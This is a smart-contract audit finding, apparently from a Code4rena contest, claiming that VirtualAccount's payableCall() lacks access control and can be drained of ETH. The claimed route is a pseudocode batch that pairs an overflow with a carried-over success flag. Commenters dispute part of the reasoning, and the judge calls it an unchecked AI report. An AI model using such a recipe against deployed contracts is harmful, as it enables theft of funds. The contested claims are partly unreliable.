[H1] An overflow can be used to drain ETH in VirtualAccount

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L86-L112

Vulnerability details

Impact

Loss of funds

Analysis of the vulnerability

There are three vulnerabilities in the payableCall() function that enable attackers to steal user funds.

/// @inheritdoc IVirtualAccount
 function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
    uint256 valAccumulator;
    uint256 length = calls.length;
    returnData = new bytes[](length);
    PayableCall calldata _call;
    for (uint256 i = 0; i < length;) {
        _call = calls[i];
        uint256 val = _call.value;
        // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
        // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
        unchecked {
            valAccumulator += val;
        }
        bool success;
        if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);
        if (!success) revert CallFailed();
        unchecked {
            ++i;
        }
    }

    // Finally, make sure the msg.value = SUM(call[0...i].value)
    if (msg.value != valAccumulator) revert CallFailed();
}

​ First vulnerability. The payableCall is unprotected

function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {

​ This vulnerability enables calling external contracts on behalf of Virtual Account.

This can be use to steal ERC20 tokens for example.

Second vulnerability An overflow can be exploited .

The _call.value are sent as a parameter, so it is possible to overflow this.

uint256 val = _call.value;
    // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
    // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
    unchecked {
        valAccumulator += val;
    }

Third vulnerability EOA are ignored in the batch call and the succeed depends on the previous call.

If you send an EOA in the first call, the transaction will revert, but in the second call, it will succeed.

 bool success;
    if (isContract(_call.target)) (success, returnData[i]) =     _call.target.call{value: val}(_call.callData);        if (!success) revert CallFailed();

Proof of Concept

The attacker will construct the following malicious batch call

uint balanceToSteal =  address(VirtualAccount).balance;  // We will steal all the ETH
address attackerContract = '0x...'

//This call is just to set the succeed variable to TRUE for the next call
PayableCall p1 =  new PayableCall(attackerContract,"", 0)      

// This call is just ignored but helps to overflow
PayableCall p2 = new PayableCall(anyEOA,bytes(0),MAX_UINT-balanceToSteal+1)   

// Here we drain the contract
PayableCall p3 = new   PayableCall(attackerContract,"",balanceToSteal)   /// This call 

PayableCalls[] attack = [p1,p2,p3];

The attacker will call `payableCall(attack)` without any ether.

The transaction will succeed

Recommended

​ You need to fix this

1. Add a modifier requiresApprovedCaller() to protect payableCall()

2. Set succeed to false if the call is an EOA

 if (isContract(call.target)) 
      (success, returnData[i]) =     _call.target.call{value: val}(call.callData);  
 else
 	success = false;

Assessed type

Access Control

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #888

[c4-pre-sort]

0xA5DF marked the issue as sufficient quality report

[alcueca]

One of those rare cases where an AI report that was not checked actually is right.

[c4-judge]

alcueca marked the issue as partial-25

[peritoflores]

Hi, guys...... I know you are working hard and you marked this as dup. However, in this submission I am explaining how to drain ETH which is not trivial. The submission you marked as principal only shows how to steal tokens. To drain ETH you need to exploit a vulnerability in the function that is already there.

[stalinMacias]

I'll try to help you a little bit here, I think you miss a key point.

The moment the batch call either fails the external call or the target destination is not a contract, the whole tx will be reverted.

From your report:

If you send an EOA in the first call, the transaction will revert, but in the second call, it will succeed.

You are already acknowledging that the first call will revert the tx, so, if the tx is reverted, the execution is halted and all the changes are wiped out, the "attacker" would basically be wasting gas

the succeed depends on the previous call.

No, it does not depend on the previous call, if you take a closer look at the code, before each cal, the success bool variable is declared, so, it's default value is false, it doesn't matter if the previous call was true, on each new call the variable is defined, and as such, it's value is reset to the default, which is false

I hope this makes sense for you and helps you to understand what did you miss 🫡

[peritoflores]

Hi @stalinMacias ... Sorry but isContract is where you introduced the bug.... you will pass to the next call....